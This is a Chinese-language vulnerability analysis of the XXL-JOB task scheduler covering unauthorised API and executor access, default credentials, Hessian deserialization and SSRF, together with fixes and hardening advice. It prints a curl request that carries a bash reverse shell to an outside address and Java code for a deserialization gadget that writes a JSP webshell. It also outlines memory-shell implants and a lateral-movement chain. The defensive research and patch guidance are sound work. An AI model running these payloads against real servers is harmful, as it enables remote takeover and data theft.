XXL-JOB框架SRC高频漏洞分析总结
文章目录
- 前言
- 一、核心漏洞分类与技术细节
- 二、漏洞关联利用与攻击路径
- 三、版本演进与修复策略
- 四、安全运维建议
- 五、典型漏洞复现环境搭建
- 六、总结
前言
XXL-JOB是国内主流的开源分布式任务调度框架,由徐雪里开发维护,以轻量易用、高可用、适配分布式场景等特性,广泛应用于互联网、金融等行业,承担定时任务调度、批量数据处理等核心业务。
其架构核心为“调度中心(负责任务配置与触发)”与“执行器(负责任务实际运行)”,二者协同实现分布式任务管理。随着其部署范围扩大,低版本因安全设计不足,暴露出API未授权访问、默认弱口令、反序列化注入等高频漏洞,成为安全响应中心(SRC)常见安全事件诱因,可能导致服务器被控、业务数据泄露等严重后果。本文档即针对这些高频漏洞展开深度分析,为安全防护提供参考。
一、核心漏洞分类与技术细节
-
API未授权访问漏洞(<=2.2.0)
- 漏洞原理:调度中心的
/api
接口未启用身份认证机制,攻击者可直接调用任务触发、日志查询等敏感接口。例如,通过构造POST请求调用/api/trigger
接口,传入恶意参数即可执行任意系统命令。 - 利用场景:攻击者通过FOFA等工具搜索暴露的API接口,发送包含
glueType=GLUE_SHELL
和executorParam=bash -i >& /dev/tcp/attacker_ip/port 0>&1
的请求,直接获取服务器权限。 - 修复方案:
- 配置
xxl.job.accessToken
并在调度中心与执行器保持一致。 - 升级至2.3.0+版本,启用接口权限校验模块。
- 配置
- 漏洞原理:调度中心的
-
Executor未授权访问漏洞(<=2.2.0)
- 漏洞本质:执行器默认监听9999端口且未配置访问控制,攻击者可直接调用RESTful API执行命令。例如,发送POST请求至
/run
接口,携带cmd=whoami
即可获取系统信息。 - 版本差异:
- 2.2.0以下版本:直接通过HTTP接口执行命令。
- 2.2.0以上版本:需结合Hessian协议和未修改的
accessToken
进行攻击。
- 防御措施:
- 关闭公网对9999端口的访问,仅允许调度中心IP通信。
- 配置防火墙规则,限制来源IP范围。
- 漏洞本质:执行器默认监听9999端口且未配置访问控制,攻击者可直接调用RESTful API执行命令。例如,发送POST请求至
-
默认登录密码漏洞(全版本)
- 风险现状:默认账号密码为
admin/123456
,且2.1.1版本前可设置超过18位密码导致登录失败。攻击者通过弱口令爆破或社工手段获取权限后,可创建恶意任务实现RCE。 - 利用链:
- 爆破登录:使用Burp Suite加载弱口令字典进行暴力破解。
- 任务植入:登录后创建GLUE类型任务,写入反弹Shell代码。
- 加固建议:
- 强制修改默认密码,采用大小写字母+数字+特殊符号的组合。
- 在
tables_xxl_job.sql
中修改初始化密码的MD5值。
- 风险现状:默认账号密码为
-
Hessian反序列化漏洞(<=2.1.2)
- 技术背景:调度中心使用Hessian协议进行远程调用,低版本未对输入数据进行有效过滤,导致反序列化漏洞。攻击者构造包含恶意类的序列化数据,触发任意代码执行。
- 利用方式:
- 构造POC:使用
SwingLazyValue
结合JavaUtils.writeBytesToFilename
写入恶意文件。 - 内存马植入:通过反序列化注入冰蝎或哥斯拉内存马,实现持久化控制。
- 构造POC:使用
- 修复方案:
- 升级至2.2.0+版本,移除危险的反序列化入口点。
- 禁用Hessian协议,改用HTTP+JSON通信。
二、漏洞关联利用与攻击路径
-
组合攻击示例
- 步骤1:SSRF获取AccessToken(CVE-2022-43183)
- 攻击者通过调度中心
/log/cat
接口构造SSRF请求,获取执行器的accessToken
。
- 攻击者通过调度中心
- 步骤2:Executor命令执行
- 使用窃取的
accessToken
向执行器发送请求,调用/run
接口执行命令。
- 使用窃取的
- 步骤3:横向渗透
- 利用获取的服务器权限,扫描内网其他XXL-JOB实例,复用漏洞进行扩散。
- 步骤1:SSRF获取AccessToken(CVE-2022-43183)
-
典型攻击载荷
-
反弹Shell(API未授权)
curl -X POST "http://target:8080/xxl-job-admin/api/trigger" \ -H "Content-Type: application/json" \ -d '{"jobId":1,"executorParam":"bash -i >& /dev/tcp/1.1.1.1/4444 0>&1"}'
-
Hessian反序列化(内存马)
// 生成恶意序列化数据 UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put("key", new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/shell.jsp", payloadBytes})); Hessian2Output output = new Hessian2Output(new FileOutputStream("poc.ser")); output.writeObject(uiDefaults); output.close();
-
三、版本演进与修复策略
漏洞类型 | 影响版本 | 修复版本 | 核心变更点 |
---|---|---|---|
API未授权访问 | <=2.2.0 | 2.3.0+ | 增加accessToken 校验模块,限制接口访问权限 |
Executor未授权 | <=2.2.0 | 2.2.1+ | 引入RESTful API权限控制,默认关闭公网访问 |
默认登录密码 | 全版本 | 2.1.1+ | 前端限制密码长度,后台加强密码复杂度校验 |
Hessian反序列化 | <=2.1.2 | 2.2.0+ | 移除jetty 容器中的反序列化入口,改用安全通信协议 |
SSRF漏洞 | <=2.3.1 | 2.4.0+ | 过滤executorAddress 参数,禁止自定义目标地址 |
四、安全运维建议
-
基础防护
- 网络隔离:调度中心与执行器采用内网通信,关闭公网对9999端口的暴露。
- 最小化原则:禁用不必要的API接口,仅开放管理后台的8080端口。
-
动态监测
- 流量分析:通过WAF检测包含
bash
、curl
、wget
等关键词的请求。 - 日志审计:监控调度中心的登录日志和任务执行日志,及时发现异常操作。
- 流量分析:通过WAF检测包含
-
版本管理
- 定期检查:使用
mvn dependency:tree
或gradle dependencies
命令,确认XXL-JOB及依赖库版本。 - 自动更新:在CI/CD流程中集成版本扫描工具(如OWASP Dependency-Check),发现漏洞立即触发升级。
- 定期检查:使用
五、典型漏洞复现环境搭建
-
环境配置
- 下载
xxl-job-2.1.2
源码,修改application.properties
中的数据库连接信息。 - 启动MySQL服务,执行
tables_xxl_job.sql
初始化表结构。 - 编译并运行调度中心和执行器,开放8080和9999端口。
- 下载
-
漏洞验证
-
Hessian攻击:使用
curl
发送包含序列化数据的请求:curl -X POST "http://localhost:8080/xxl-job-admin/api" \ -H "Content-Type: x-application/hessian" \ --data-binary @poc.ser
-
Executor命令执行:直接访问
http://localhost:9999/run?cmd=id
,验证响应是否包含用户信息。
-
攻击方式参考:
https://xz.aliyun.com/news/13339
https://forum.butian.net/share/2592
https://github.com/charonlight/xxl-jobExploitGUI/blob/main/README.md
六、总结
XXL-JOB的低版本漏洞多源于设计缺陷和配置不当,攻击者通过未授权访问、反序列化等手段可轻易获取服务器控制权。
建议企业采取"主动防御+动态监测+版本迭代"的三层防护体系,及时修复漏洞并强化访问控制。
同时,开发者应遵循安全编码规范,在远程调用、数据解析等关键环节引入严格的输入校验机制,从源头降低安全风险。